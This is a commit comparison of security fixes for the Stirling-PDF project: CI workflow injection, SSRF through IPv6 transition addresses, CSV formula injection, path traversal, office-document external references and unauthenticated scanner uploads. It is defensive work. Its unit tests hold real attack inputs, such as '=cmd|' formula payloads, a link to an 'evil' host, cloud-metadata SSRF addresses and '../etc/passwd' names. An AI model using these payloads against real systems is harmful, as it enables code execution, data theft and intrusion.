Compare commits

...
Author SHA1 Message Date
Anthony Stirling bd2db53179 Add missing en-US translation for the unsolicited auth callback error 2026-08-13 13:17:20 +01:00
Anthony Stirling 2f2257eca7 Harden ai_pr_title_review against PR-controlled config and shell interpolation 2026-08-13 12:29:44 +01:00
Anthony Stirling 783c35dad8 Guard EU trusted list downloads against internal addresses and redirect chains 2026-08-13 12:29:43 +01:00
Anthony Stirling 6786e8f128 Require authentication for desktop mobile scanner endpoints 2026-08-13 12:29:42 +01:00
Anthony Stirling 116bbc9ea6 Reject expired participant tokens and consume invite tokens atomically 2026-08-13 12:29:40 +01:00
Anthony Stirling b727c99e61 Reject fragment tokens at the auth callback when no sign-in was started 2026-08-13 12:29:39 +01:00
Anthony Stirling d87bb96fcb Resolve the SSO redirect origin from frontendUrl instead of request headers 2026-08-13 12:29:37 +01:00
Anthony Stirling fa50e1e89e Restrict inline content disposition to a safe content type allowlist 2026-08-13 12:29:17 +01:00
Anthony Stirling b1d7d56a69 Contain pipeline output and skip links that escape the watched folder 2026-08-13 12:29:16 +01:00
Anthony Stirling 85a08af294 Validate URL-to-PDF subresources against the SSRF guard and allowlist schemes 2026-08-13 12:29:15 +01:00
Anthony Stirling e4c8456dd8 Neutralise formula-leading characters when writing CSV output 2026-08-13 12:29:14 +01:00
Anthony Stirling c47316dc34 Strip path components from filenames used as archive entry names 2026-08-13 12:29:00 +01:00
Anthony Stirling b1a572823d Block IPv6 transition addresses that wrap internal IPv4 in the SSRF guard 2026-08-13 12:28:58 +01:00
Anthony Stirling 1d6147849b Reject H2 backup imports hiding code execution in linked tables or string literals 2026-08-13 12:28:56 +01:00
Anthony Stirling a8eef81914 Sanitize office conversions by sniffed content and fail closed on unparseable parts 2026-08-13 12:28:54 +01:00
51 changed files with 2929 additions and 401 deletions
+33 -15
View File
@@ -41,35 +41,52 @@ jobs:
- name: Check if actor is repo developer
id: actor
env:
ACTOR: ${{ github.actor }}
BASE_REF: ${{ github.base_ref }}
run: |
if [[ "${{ github.actor }}" == *"[bot]" ]]; then
echo "PR opened by a bot skipping AI title review."
if [[ "$ACTOR" == *"[bot]" ]]; then
echo "PR opened by a bot - skipping AI title review."
echo "is_repo_dev=false" >> $GITHUB_OUTPUT
exit 0
fi
if [ ! -f .github/config/repo_devs.json ]; then
echo "Error: .github/config/repo_devs.json not found" >&2
git fetch --quiet origin "$BASE_REF"
# Trust list must come from the base ref, never from the PR tree
if ! REPO_DEVS_JSON=$(git show "origin/$BASE_REF:.github/config/repo_devs.json" 2>/dev/null); then
echo "Error: .github/config/repo_devs.json not found on origin/$BASE_REF" >&2
exit 1
fi
# Validate JSON and extract repo_devs
REPO_DEVS=$(jq -r '.repo_devs[]' .github/config/repo_devs.json 2>/dev/null || { echo "Error: Invalid JSON in repo_devs.json" >&2; exit 1; })
REPO_DEVS=$(jq -r '.repo_devs[]' <<< "$REPO_DEVS_JSON" 2>/dev/null || { echo "Error: Invalid JSON in repo_devs.json" >&2; exit 1; })
# Convert developer list into Bash array
mapfile -t DEVS_ARRAY <<< "$REPO_DEVS"
if [[ " ${DEVS_ARRAY[*]} " == *" ${{ github.actor }} "* ]]; then
if [[ " ${DEVS_ARRAY[*]} " == *" $ACTOR "* ]]; then
echo "is_repo_dev=true" >> $GITHUB_OUTPUT
else
echo "is_repo_dev=false" >> $GITHUB_OUTPUT
fi
- name: Load system prompt from base ref
if: steps.actor.outputs.is_repo_dev == 'true'
env:
BASE_REF: ${{ github.base_ref }}
run: |
# System prompt must come from the base ref, never from the PR tree
git show "origin/$BASE_REF:.github/config/system-prompt.txt" > "$RUNNER_TEMP/system-prompt.txt"
- name: Get PR diff
if: steps.actor.outputs.is_repo_dev == 'true'
id: get_diff
env:
BASE_REF: ${{ github.base_ref }}
run: |
git fetch origin ${{ github.base_ref }}
git diff origin/${{ github.base_ref }}...HEAD | head -n 10000 | grep -vP '[\x00-\x08\x0B\x0C\x0E-\x1F\x7F\x{202E}\x{200B}]' > pr.diff
echo "diff<<EOF" >> $GITHUB_OUTPUT
git fetch origin "$BASE_REF"
git diff "origin/$BASE_REF...HEAD" | head -n 10000 | grep -vP '[\x00-\x08\x0B\x0C\x0E-\x1F\x7F\x{202E}\x{200B}]' > pr.diff
# Random delimiter so diff content cannot forge step outputs
DELIM="EOF_$(openssl rand -hex 16)"
echo "diff<<$DELIM" >> $GITHUB_OUTPUT
cat pr.diff >> $GITHUB_OUTPUT
echo "EOF" >> $GITHUB_OUTPUT
echo "$DELIM" >> $GITHUB_OUTPUT
- name: Check and sanitize PR title
if: steps.actor.outputs.is_repo_dev == 'true'
@@ -90,7 +107,7 @@ jobs:
uses: actions/ai-inference@a7805884c80886efc241e94a5351df715968a0ad # v2.1.1
with:
model: openai/gpt-4o
system-prompt-file: ".github/config/system-prompt.txt"
system-prompt-file: ${{ runner.temp }}/system-prompt.txt
prompt: |
Based on the following input data:
@@ -108,10 +125,11 @@ jobs:
- name: Validate and set SCRIPT_OUTPUT
if: steps.actor.outputs.is_repo_dev == 'true'
env:
AI_RESPONSE: ${{ steps.ai-title-analysis.outputs.response }}
PR_TITLE: ${{ steps.sanitize_pr_title.outputs.pr_title }}
run: |
cat <<EOF > ai_response.json
${{ steps.ai-title-analysis.outputs.response }}
EOF
printf '%s\n' "$AI_RESPONSE" > ai_response.json
# Validate JSON structure
jq -e '
@@ -149,7 +167,7 @@ jobs:
echo "### 🤖 AI PR Title Analysis" >> $GITHUB_STEP_SUMMARY
echo "### Input PR Title" >> $GITHUB_STEP_SUMMARY
echo '```bash' >> $GITHUB_STEP_SUMMARY
echo "${{ steps.sanitize_pr_title.outputs.pr_title }}" >> $GITHUB_STEP_SUMMARY
echo "$PR_TITLE" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo '### AI Response (raw JSON)' >> $GITHUB_STEP_SUMMARY
echo '```json' >> $GITHUB_STEP_SUMMARY
+4
View File
@@ -19,6 +19,10 @@ version.properties
#### Stirling-PDF Files ###
pipeline/
!pipeline/.gitkeep
# The rule above targets the app's runtime pipeline working dir, but it also
# matches these Java source dirs; keep the source tracked.
!app/core/src/main/java/stirling/software/SPDF/controller/api/pipeline/
!app/core/src/test/java/stirling/software/SPDF/controller/api/pipeline/
customFiles/
configs/
watchedFolders/
@@ -89,13 +89,22 @@ public class MobileScannerService {
*
* @param sessionId Unique session identifier
* @param files Files to upload
* @throws IllegalArgumentException If the session is unknown or expired
* @throws IOException If file storage fails
*/
public void uploadFiles(String sessionId, List<MultipartFile> files) throws IOException {
validateSessionId(sessionId);
SessionData session =
activeSessions.computeIfAbsent(sessionId, id -> new SessionData(sessionId));
// Uploads only land in a session a desktop client actually created, never conjure one
SessionData session = activeSessions.get(sessionId);
if (session == null
|| System.currentTimeMillis() > session.getLastAccessTime() + SESSION_TIMEOUT_MS) {
if (session != null) {
deleteSession(sessionId);
}
log.warn("Rejected mobile scanner upload for unknown session: {}", sessionId);
throw new IllegalArgumentException("Session not found or expired");
}
// Create session directory
Path sessionDir = getSafeSessionDirectory(sessionId);
@@ -5,6 +5,7 @@ import java.net.Inet6Address;
import java.net.InetAddress;
import java.net.URI;
import java.net.UnknownHostException;
import java.util.List;
import java.util.Locale;
import java.util.regex.Pattern;
@@ -155,8 +156,7 @@ public class SsrfProtectionService {
return false;
}
if (config.isBlockCloudMetadata()
&& isCloudMetadataAddress(address.getHostAddress())) {
if (config.isBlockCloudMetadata() && isCloudMetadataAddress(address)) {
log.debug("URL blocked - cloud metadata endpoint: {}", url);
return false;
}
@@ -189,16 +189,15 @@ public class SsrfProtectionService {
}
byte[] bytes = addr6.getAddress();
if (isIpv4MappedAddress(bytes)) {
String ipv4 =
(bytes[12] & 0xff)
+ "."
+ (bytes[13] & 0xff)
+ "."
+ (bytes[14] & 0xff)
+ "."
+ (bytes[15] & 0xff);
return isPrivateIPv4Range(ipv4);
// Local-use NAT64 (64:ff9b:1::/48) is internal whatever IPv4 it embeds
if (isNat64LocalUsePrefix(bytes)) {
return true;
}
for (String ipv4 : extractEmbeddedIpv4(bytes)) {
if (isPrivateIPv4Range(ipv4)) {
return true;
}
}
int firstByte = bytes[0] & 0xff;
@@ -211,18 +210,79 @@ public class SsrfProtectionService {
return false;
}
private boolean isIpv4MappedAddress(byte[] addr) {
if (addr.length != 16) {
return false;
/**
* Extracts the IPv4 addresses wrapped by IPv6 transition formats so they can be classified by
* the IPv4 rules. The wrapping prefixes are globally routable, so only the extracted IPv4
* decides whether the destination is internal.
*/
private List<String> extractEmbeddedIpv4(byte[] addr) {
if (addr == null || addr.length != 16) {
return List.of();
}
// ::ffff:w.x.y.z, ::w.x.y.z and well-known NAT64 64:ff9b::/96 all embed at bytes 12-15
if (isIpv4MappedOrCompatibleAddress(addr) || isNat64WellKnownPrefix(addr)) {
return List.of(toIpv4String(addr, 12, false));
}
// 6to4 (2002::/16) embeds the tunnel endpoint IPv4 at bytes 2-5
if ((addr[0] & 0xff) == 0x20 && (addr[1] & 0xff) == 0x02) {
return List.of(toIpv4String(addr, 2, false));
}
// Teredo (2001::/32) embeds the server IPv4 at bytes 4-7 and the client IPv4 inverted at
// bytes 12-15
if ((addr[0] & 0xff) == 0x20 && (addr[1] & 0xff) == 0x01 && addr[2] == 0 && addr[3] == 0) {
return List.of(toIpv4String(addr, 4, false), toIpv4String(addr, 12, true));
}
return List.of();
}
private String toIpv4String(byte[] addr, int offset, boolean inverted) {
int mask = inverted ? 0xff : 0x00;
return ((addr[offset] ^ mask) & 0xff)
+ "."
+ ((addr[offset + 1] ^ mask) & 0xff)
+ "."
+ ((addr[offset + 2] ^ mask) & 0xff)
+ "."
+ ((addr[offset + 3] ^ mask) & 0xff);
}
private boolean isIpv4MappedOrCompatibleAddress(byte[] addr) {
for (int i = 0; i < 10; i++) {
if (addr[i] != 0) {
return false;
}
}
// For IPv4-mapped IPv6 addresses, bytes 10 and 11 must be 0xff (i.e., address is
// ::ffff:w.x.y.z)
return addr[10] == (byte) 0xff && addr[11] == (byte) 0xff;
// ::ffff:w.x.y.z is IPv4-mapped, ::w.x.y.z is the deprecated IPv4-compatible form
return (addr[10] == (byte) 0xff && addr[11] == (byte) 0xff)
|| (addr[10] == 0 && addr[11] == 0);
}
private boolean isNat64WellKnownPrefix(byte[] addr) {
if (!hasNat64Prefix(addr)) {
return false;
}
for (int i = 4; i < 12; i++) {
if (addr[i] != 0) {
return false;
}
}
return true;
}
private boolean isNat64LocalUsePrefix(byte[] addr) {
return hasNat64Prefix(addr) && addr[4] == 0 && addr[5] == 1;
}
private boolean hasNat64Prefix(byte[] addr) {
return addr.length == 16
&& addr[0] == 0
&& (addr[1] & 0xff) == 0x64
&& (addr[2] & 0xff) == 0xff
&& (addr[3] & 0xff) == 0x9b;
}
private boolean isPrivateIPv4Range(String ip) {
@@ -260,6 +320,17 @@ public class SsrfProtectionService {
return false;
}
private boolean isCloudMetadataAddress(InetAddress address) {
if (address instanceof Inet6Address addr6) {
for (String ipv4 : extractEmbeddedIpv4(addr6.getAddress())) {
if (isCloudMetadataAddress(ipv4)) {
return true;
}
}
}
return isCloudMetadataAddress(address.getHostAddress());
}
private boolean isCloudMetadataAddress(String ip) {
String normalizedIp = normalizeIpv4MappedAddress(ip);
// Cloud metadata endpoints for AWS, GCP, Azure, Oracle Cloud, and IBM Cloud
@@ -0,0 +1,67 @@
package stirling.software.common.util;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
/**
* Neutralises CSV formula injection (CWE-1236) so spreadsheets treat untrusted cells as text.
*
* <p>Apply at CSV write time only; applying it on read would add a fresh apostrophe every round
* trip.
*/
public final class CsvUtils {
// Leading characters a spreadsheet may read as the start of a formula.
private static final String FORMULA_TRIGGERS = "=+-@\t\r";
// Real numbers must pass through untouched or extracted tables stop summing.
private static final Pattern NUMERIC_PATTERN =
Pattern.compile(
"^[+-]?[$£¥€₹]?"
+ "(?:(?:\\d+|\\d{1,3}(?:,\\d{3})+)(?:\\.\\d+)?|\\.\\d+)"
+ "(?:[eE][+-]?\\d+)?"
+ "[%‰]?[$£¥€₹]?\\s*$");
// A run of hyphens is a common "no value" placeholder and cannot be a formula.
private static final Pattern DASH_PLACEHOLDER_PATTERN = Pattern.compile("^-+\\s*$");
private CsvUtils() {}
/**
* Prefix a single apostrophe when the value starts with a formula trigger character.
*
* @param value the cell value about to be written, may be null
* @return the value, prefixed only when a spreadsheet could evaluate it as a formula
*/
public static String neutraliseFormula(String value) {
if (value == null || value.isEmpty()) {
return value;
}
if (FORMULA_TRIGGERS.indexOf(value.charAt(0)) < 0) {
return value;
}
if (NUMERIC_PATTERN.matcher(value).matches()
|| DASH_PLACEHOLDER_PATTERN.matcher(value).matches()) {
return value;
}
return "'" + value;
}
/**
* Apply {@link #neutraliseFormula(String)} to every cell of a row about to be written.
*
* @param row the row of cell values, may be null
* @return a new list with each cell neutralised, or null when the row is null
*/
public static List<String> neutraliseRow(List<String> row) {
if (row == null) {
return null;
}
List<String> neutralised = new ArrayList<>(row.size());
for (String cell : row) {
neutralised.add(neutraliseFormula(cell));
}
return neutralised;
}
}
@@ -23,6 +23,7 @@ import org.springframework.web.multipart.MultipartFile;
import com.fathzer.soft.javaluator.DoubleEvaluator;
import io.github.pixee.security.Filenames;
import io.github.pixee.security.HostValidator;
import io.github.pixee.security.Urls;
@@ -121,6 +122,9 @@ public class GeneralUtils {
* <li>Fresh Matcher instances ensure thread safety
* </ul>
*
* <p>Any directory component is stripped first, so attacker-supplied upload names cannot leak
* path traversal into derived names such as zip entries.
*
* @param filename the filename to process, may be null
* @return filename without extension, or "default" if input is null
*/
@@ -133,18 +137,20 @@ public class GeneralUtils {
return filename;
}
int dotIndex = filename.lastIndexOf('.');
if (dotIndex > 0 && dotIndex < filename.length() - 1) {
return filename.substring(0, dotIndex);
String simpleName = Filenames.toSimpleFileName(filename);
int dotIndex = simpleName.lastIndexOf('.');
if (dotIndex > 0 && dotIndex < simpleName.length() - 1) {
return simpleName.substring(0, dotIndex);
}
if (dotIndex == 0 || dotIndex == filename.length() - 1 || dotIndex == -1) {
return filename;
if (dotIndex == 0 || dotIndex == simpleName.length() - 1 || dotIndex == -1) {
return simpleName;
}
Pattern pattern = patternCache.getPattern(RegexPatternUtils.getExtensionRegex());
Matcher matcher = pattern.matcher(filename);
return matcher.find() ? matcher.replaceFirst("") : filename;
Matcher matcher = pattern.matcher(simpleName);
return matcher.find() ? matcher.replaceFirst("") : simpleName;
}
/**
@@ -3,10 +3,12 @@ package stirling.software.common.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import java.util.Set;
import java.util.regex.Pattern;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;
@@ -52,9 +54,24 @@ public class OfficeDocumentSanitizer {
"odt", "ott", "ods", "ots", "odp", "otp", "odg", "otg", "odf", "odc", "odi",
"odm");
// Flat (uncompressed) OpenDocument: a single XML file rather than a zip container.
private static final Set<String> FLAT_XML_EXTENSIONS =
Set.of("fodt", "fods", "fodp", "fodg", "fodm");
private static final Set<String> ODF_XML_PARTS =
Set.of("content.xml", "styles.xml", "meta.xml", "settings.xml");
// Markers that make an unparseable XML part too dangerous to hand to LibreOffice unsanitized.
// Namespace declarations legitimately contain http URLs, so match reference
// attributes and non-web schemes rather than any URL-looking text.
private static final Pattern EXTERNAL_REFERENCE_MARKER =
Pattern.compile(
"targetmode\\s*=\\s*[\"']?\\s*external"
+ "|href\\s*=\\s*[\"']?\\s*(?:https?|ftp|file|smb):"
+ "|\\b(?:file|smb):/"
+ "|\\\\\\\\\\w",
Pattern.CASE_INSENSITIVE);
private final SsrfProtectionService ssrfProtectionService;
private final ApplicationProperties applicationProperties;
@@ -70,7 +87,9 @@ public class OfficeDocumentSanitizer {
return false;
}
String lower = extension.toLowerCase(Locale.ROOT);
return OOXML_EXTENSIONS.contains(lower) || ODF_EXTENSIONS.contains(lower);
return OOXML_EXTENSIONS.contains(lower)
|| ODF_EXTENSIONS.contains(lower)
|| FLAT_XML_EXTENSIONS.contains(lower);
}
public byte[] sanitize(byte[] documentBytes, String extension) throws IOException {
@@ -84,6 +103,36 @@ public class OfficeDocumentSanitizer {
if (!isSanitizableExtension(extension)) {
return documentBytes;
}
if (FLAT_XML_EXTENSIONS.contains(extension.toLowerCase(Locale.ROOT))) {
return sanitizeFlatXml(documentBytes);
}
return sanitizeZipContainer(documentBytes);
}
// Flat XML has no container to fall back on, so a parse failure must fail closed.
public byte[] sanitizeFlatXml(byte[] documentBytes) throws IOException {
if (documentBytes == null || documentBytes.length == 0) {
throw new IOException("Office document input is empty or null");
}
if (applicationProperties.getSystem().isDisableSanitize()) {
log.debug("Office document sanitization disabled by configuration");
return documentBytes;
}
try {
return sanitizeOdfXml(documentBytes);
} catch (ParserConfigurationException | SAXException | TransformerException e) {
throw new IOException("Failed to sanitize flat XML office document", e);
}
}
public byte[] sanitizeZipContainer(byte[] documentBytes) throws IOException {
if (documentBytes == null || documentBytes.length == 0) {
throw new IOException("Office document input is empty or null");
}
if (applicationProperties.getSystem().isDisableSanitize()) {
log.debug("Office document sanitization disabled by configuration");
return documentBytes;
}
ByteArrayOutputStream out = new ByteArrayOutputStream(documentBytes.length);
try (ZipInputStream zipIn =
@@ -117,7 +166,7 @@ public class OfficeDocumentSanitizer {
return out.toByteArray();
}
private byte[] sanitizeEntry(String entryName, byte[] entryBytes) {
private byte[] sanitizeEntry(String entryName, byte[] entryBytes) throws IOException {
String lower = entryName.toLowerCase(Locale.ROOT);
try {
if (lower.endsWith(".rels")) {
@@ -130,6 +179,14 @@ public class OfficeDocumentSanitizer {
| SAXException
| IOException
| TransformerException e) {
// An unparseable part carrying an external reference must not reach LibreOffice.
if (containsExternalReferenceMarker(entryBytes)) {
throw new IOException(
"Unparseable XML part '"
+ entryName
+ "' contains an external reference and cannot be sanitized",
e);
}
log.warn(
"Failed to parse XML part '{}' for sanitization, leaving as-is: {}",
entryName,
@@ -138,6 +195,11 @@ public class OfficeDocumentSanitizer {
return entryBytes;
}
private boolean containsExternalReferenceMarker(byte[] entryBytes) {
String raw = new String(entryBytes, StandardCharsets.ISO_8859_1);
return EXTERNAL_REFERENCE_MARKER.matcher(raw).find();
}
private boolean isOdfXmlPart(String lowerName) {
int slash = lowerName.lastIndexOf('/');
String base = slash >= 0 ? lowerName.substring(slash + 1) : lowerName;
@@ -6,6 +6,11 @@ public class RequestUriUtils {
private static final Pattern SHARE_LINK_PATTERN = Pattern.compile("^/share/[^/]+/?$");
// Only the phone side of the QR pairing is anonymous: it checks the session, then uploads.
// Every other mobile-scanner path is desktop-side and stays behind authentication.
private static final Pattern MOBILE_SCANNER_PUBLIC_PATTERN =
Pattern.compile("^/api/v1/mobile-scanner/(?:upload|validate-session)/[a-zA-Z0-9-]+/?$");
public static boolean isStaticResource(String requestURI) {
return isStaticResource("", requestURI);
}
@@ -202,8 +207,8 @@ public class RequestUriUtils {
|| trimmedUri.startsWith("/healthz")
|| trimmedUri.startsWith("/liveness")
|| trimmedUri.startsWith("/readiness")
|| trimmedUri.startsWith(
"/api/v1/mobile-scanner/") // Mobile scanner endpoints (no auth)
// Phone-side mobile scanner/signature calls only (see pattern above)
|| MOBILE_SCANNER_PUBLIC_PATTERN.matcher(trimmedUri).matches()
|| trimmedUri.startsWith("/api/v1/webhooks/")
|| trimmedUri.startsWith("/v1/api-docs")
// Workflow participant endpoints - access controlled by share tokens, not login
@@ -156,12 +156,28 @@ class MobileScannerServiceTest {
}
@Test
@DisplayName("auto-creates a session when uploading to an unregistered session ID")
void autoCreatesSession() throws IOException {
service.uploadFiles("new-session", List.of(file("a.txt", "data")));
@DisplayName("rejects uploads to a session no desktop client registered")
void rejectsUnknownSession() {
assertThrows(
IllegalArgumentException.class,
() -> service.uploadFiles("new-session", List.of(file("a.txt", "data"))));
List<FileMetadata> metas = service.getSessionFiles("new-session");
assertEquals(1, metas.size());
assertTrue(service.getSessionFiles("new-session").isEmpty());
assertFalse(Files.exists(tempDir.resolve("new-session")));
}
@Test
@DisplayName("rejects uploads to an expired session and clears it")
void rejectsExpiredSession() {
service.createSession("stale");
forceLastAccess("stale", System.currentTimeMillis() - (20 * 60 * 1000L));
assertThrows(
IllegalArgumentException.class,
() -> service.uploadFiles("stale", List.of(file("a.txt", "data"))));
assertNull(service.validateSession("stale"));
assertFalse(Files.exists(tempDir.resolve("stale")));
}
@Test
@@ -303,5 +303,67 @@ class SsrfProtectionServiceTest {
void blocksIpv4MappedPrivate() {
assertThat(service.isUrlAllowed("http://[::ffff:10.0.0.1]")).isFalse();
}
@Test
@DisplayName("blocks IPv4-compatible ::a.b.c.d of a private address")
void blocksIpv4CompatiblePrivate() {
// ::a00:1 is ::10.0.0.1
assertThat(service.isUrlAllowed("http://[::a00:1]")).isFalse();
}
}
@Nested
@DisplayName("MEDIUM level - IPv6 transition addresses wrapping IPv4")
class MediumIpv6Transition {
@BeforeEach
void medium() {
config.setEnabled(true);
config.setLevel(SsrfProtectionLevel.MEDIUM);
}
@ParameterizedTest
@ValueSource(
strings = {
"http://[64:ff9b::a00:1]", // NAT64 well-known wrapping 10.0.0.1
"http://[64:ff9b::7f00:1]", // NAT64 well-known wrapping 127.0.0.1
"http://[64:ff9b::a9fe:a9fe]", // NAT64 well-known wrapping 169.254.169.254
"http://[2002:c0a8:5::1]", // 6to4 wrapping 192.168.0.5
"http://[2002:a9fe:a9fe::1]", // 6to4 wrapping 169.254.169.254
"http://[2001:0:a00:1::]", // Teredo server 10.0.0.1
"http://[2001:0:4136:e378:8000:63bf:3f57:fffa]" // Teredo client 192.168.0.5
})
@DisplayName("blocks transition addresses wrapping an internal IPv4")
void blocksWrappedInternalIpv4(String url) {
assertThat(service.isUrlAllowed(url)).isFalse();
}
@Test
@DisplayName("blocks the local-use NAT64 prefix 64:ff9b:1::/48 outright")
void blocksNat64LocalUsePrefix() {
assertThat(service.isUrlAllowed("http://[64:ff9b:1::1]")).isFalse();
assertThat(service.isUrlAllowed("http://[64:ff9b:1:ffff::5db8:d822]")).isFalse();
}
@ParameterizedTest
@ValueSource(
strings = {
"http://[64:ff9b::5db8:d822]", // NAT64 well-known wrapping 93.184.216.34
"http://[2002:5db8:d822::1]", // 6to4 wrapping 93.184.216.34
"http://[2001:0:4136:e378:8000:63bf:3fff:fdd2]", // Teredo, both IPv4s public
"http://[2001:db8::1]" // documentation prefix, not Teredo
})
@DisplayName("allows transition addresses wrapping a public IPv4")
void allowsWrappedPublicIpv4(String url) {
assertThat(service.isUrlAllowed(url)).isTrue();
}
@Test
@DisplayName("blocks cloud metadata behind 6to4 even with private-network checks off")
void blocksMetadataBehindSixToFour() {
config.setBlockPrivateNetworks(false);
config.setBlockLinkLocal(false);
assertThat(service.isUrlAllowed("http://[2002:a9fe:a9fe::1]")).isFalse();
}
}
}
@@ -0,0 +1,94 @@
package stirling.software.common.util;
import static org.junit.jupiter.api.Assertions.*;
import java.util.Arrays;
import java.util.List;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
class CsvUtilsTest {
@ParameterizedTest
@ValueSource(
strings = {
"=cmd|'/c calc'!A1",
"=1+1",
"@SUM(A1)",
"+cmd|'/c calc'!A1",
"-2+3+cmd|'/c calc'!A1",
"\t=1+1",
"\r=1+1",
"\tSUM(A1)",
"=HYPERLINK(\"http://evil\",\"click\")",
"@",
"="
})
void testNeutraliseFormula_dangerousValuesArePrefixed(String value) {
assertEquals("'" + value, CsvUtils.neutraliseFormula(value));
}
@ParameterizedTest
@ValueSource(
strings = {
"-12.50",
"+3",
"-1,234.00",
"-12%",
"-$4",
"1e-5",
"-1e-5",
"-0",
"-.5",
"+1,000",
"-1234567",
"-12.50 ",
"-£4.99",
"-4€"
})
void testNeutraliseFormula_numbersAreUnchanged(String value) {
assertEquals(value, CsvUtils.neutraliseFormula(value));
}
@ParameterizedTest
@ValueSource(strings = {"-", "--", "---"})
void testNeutraliseFormula_dashPlaceholdersAreUnchanged(String value) {
assertEquals(value, CsvUtils.neutraliseFormula(value));
}
@ParameterizedTest
@ValueSource(strings = {"Alice", "30", "hello=world", " =1+1", "a-b", "1-2", "(1,234.00)"})
void testNeutraliseFormula_harmlessValuesAreUnchanged(String value) {
assertEquals(value, CsvUtils.neutraliseFormula(value));
}
@Test
void testNeutraliseFormula_nullAndEmpty() {
assertNull(CsvUtils.neutraliseFormula(null));
assertEquals("", CsvUtils.neutraliseFormula(""));
}
@Test
void testNeutraliseFormula_isNotIdempotentOnAlreadyPrefixedValue() {
// A prefixed value no longer starts with a trigger, so apostrophes cannot stack
String once = CsvUtils.neutraliseFormula("=1+1");
assertEquals("'=1+1", once);
assertEquals(once, CsvUtils.neutraliseFormula(once));
}
@Test
void testNeutraliseRow_prefixesOnlyDangerousCells() {
List<String> row = Arrays.asList("Total", "-1,234.00", "=1+1", null);
List<String> result = CsvUtils.neutraliseRow(row);
assertEquals(Arrays.asList("Total", "-1,234.00", "'=1+1", null), result);
}
@Test
void testNeutraliseRow_nullRow() {
assertNull(CsvUtils.neutraliseRow(null));
}
}
@@ -221,7 +221,29 @@ public class GeneralUtilsTest {
// Test multiple dots
assertEquals("file.with.multiple", GeneralUtils.removeExtension("file.with.multiple.dots"));
assertEquals("path/to/file", GeneralUtils.removeExtension("path/to/file.ext"));
// Directory components are stripped, only the base name is kept
assertEquals("file", GeneralUtils.removeExtension("path/to/file.ext"));
}
@Test
void testRemoveExtensionStripsPathTraversal() {
assertEquals("passwd", GeneralUtils.removeExtension("../../../etc/passwd.txt"));
assertEquals("evil", GeneralUtils.removeExtension("/absolute/path/evil.pdf"));
assertEquals("passwd", GeneralUtils.removeExtension("....//....//etc/passwd.txt"));
// No result may carry a separator that a zip entry could use to escape its directory
for (String traversal :
new String[] {
"../../evil.pdf",
"..\\..\\evil.pdf",
"dir/../../evil.pdf",
"/etc/cron.d/payload",
"a/b/c"
}) {
String result = GeneralUtils.removeExtension(traversal);
assertFalse(result.contains("/"), "Result should not contain '/': " + result);
assertFalse(result.contains("\\"), "Result should not contain '\\': " + result);
}
}
@Test
@@ -418,6 +440,7 @@ public class GeneralUtilsTest {
// Test complex cases
assertEquals(
"complex.file.name", GeneralUtils.getTitleFromFilename("complex.file.name.txt"));
assertEquals("path/to/file", GeneralUtils.getTitleFromFilename("path/to/file.ext"));
// Directory components are stripped, only the base name is kept
assertEquals("file", GeneralUtils.getTitleFromFilename("path/to/file.ext"));
}
}
@@ -61,6 +61,20 @@ class OfficeDocumentSanitizerTest {
+ "<draw:frame><draw:image xlink:href=\"Pictures/image1.png\" xlink:type=\"simple\"/></draw:frame>"
+ "</office:text></office:body></office:document-content>";
private static final String FLAT_ODF_EXTERNAL =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
+ "<office:document"
+ " xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\""
+ " xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\""
+ " xmlns:xlink=\"http://www.w3.org/1999/xlink\""
+ " office:mimetype=\"application/vnd.oasis.opendocument.text\">"
+ "<office:body><office:text>"
+ "<draw:frame><draw:image xlink:href=\""
+ EXTERNAL_URL
+ "\" xlink:type=\"simple\"/></draw:frame>"
+ "<draw:frame><draw:image xlink:href=\"Pictures/image1.png\"/></draw:frame>"
+ "</office:text></office:body></office:document>";
private SsrfProtectionService ssrfProtectionService;
private ApplicationProperties applicationProperties;
private OfficeDocumentSanitizer sanitizer;
@@ -81,6 +95,11 @@ class OfficeDocumentSanitizerTest {
assertTrue(sanitizer.isSanitizableExtension("odt"));
assertTrue(sanitizer.isSanitizableExtension("ods"));
assertTrue(sanitizer.isSanitizableExtension("odp"));
assertTrue(sanitizer.isSanitizableExtension("fodt"));
assertTrue(sanitizer.isSanitizableExtension("FODS"));
assertTrue(sanitizer.isSanitizableExtension("fodp"));
assertTrue(sanitizer.isSanitizableExtension("fodg"));
assertTrue(sanitizer.isSanitizableExtension("fodm"));
assertFalse(sanitizer.isSanitizableExtension("pdf"));
assertFalse(sanitizer.isSanitizableExtension("html"));
assertFalse(sanitizer.isSanitizableExtension(""));
@@ -343,6 +362,78 @@ class OfficeDocumentSanitizerTest {
assertTrue(out.contains("#anchor"));
}
@Test
void sanitize_unparseablePartWithExternalReferenceFailsClosed() throws IOException {
// DOCTYPE makes the part unparseable; it must not slip past sanitization.
String poisonedRels =
"<?xml version=\"1.0\"?><!DOCTYPE Relationships SYSTEM \"http://evil.example/x.dtd\">"
+ "<Relationships><Relationship Id=\"rId1\" Target=\""
+ EXTERNAL_URL
+ "\" TargetMode=\"External\"/></Relationships>";
Map<String, byte[]> entries = new LinkedHashMap<>();
entries.put("word/_rels/document.xml.rels", poisonedRels.getBytes(StandardCharsets.UTF_8));
byte[] docx = zip(entries);
assertThrows(IOException.class, () -> sanitizer.sanitize(docx, "docx"));
}
@Test
void sanitize_unparseablePartWithoutExternalReferencePassesThrough() throws IOException {
byte[] broken = "<content><item>unclosed</content>".getBytes(StandardCharsets.UTF_8);
Map<String, byte[]> entries = new LinkedHashMap<>();
entries.put("content.xml", broken);
byte[] odt = zip(entries);
byte[] cleaned = sanitizer.sanitize(odt, "odt");
Map<String, byte[]> result = unzip(cleaned);
assertArrayEquals(broken, result.get("content.xml"));
}
@Test
void sanitize_flatOdfStripsExternalHrefButKeepsInternal() throws IOException {
byte[] fodt = FLAT_ODF_EXTERNAL.getBytes(StandardCharsets.UTF_8);
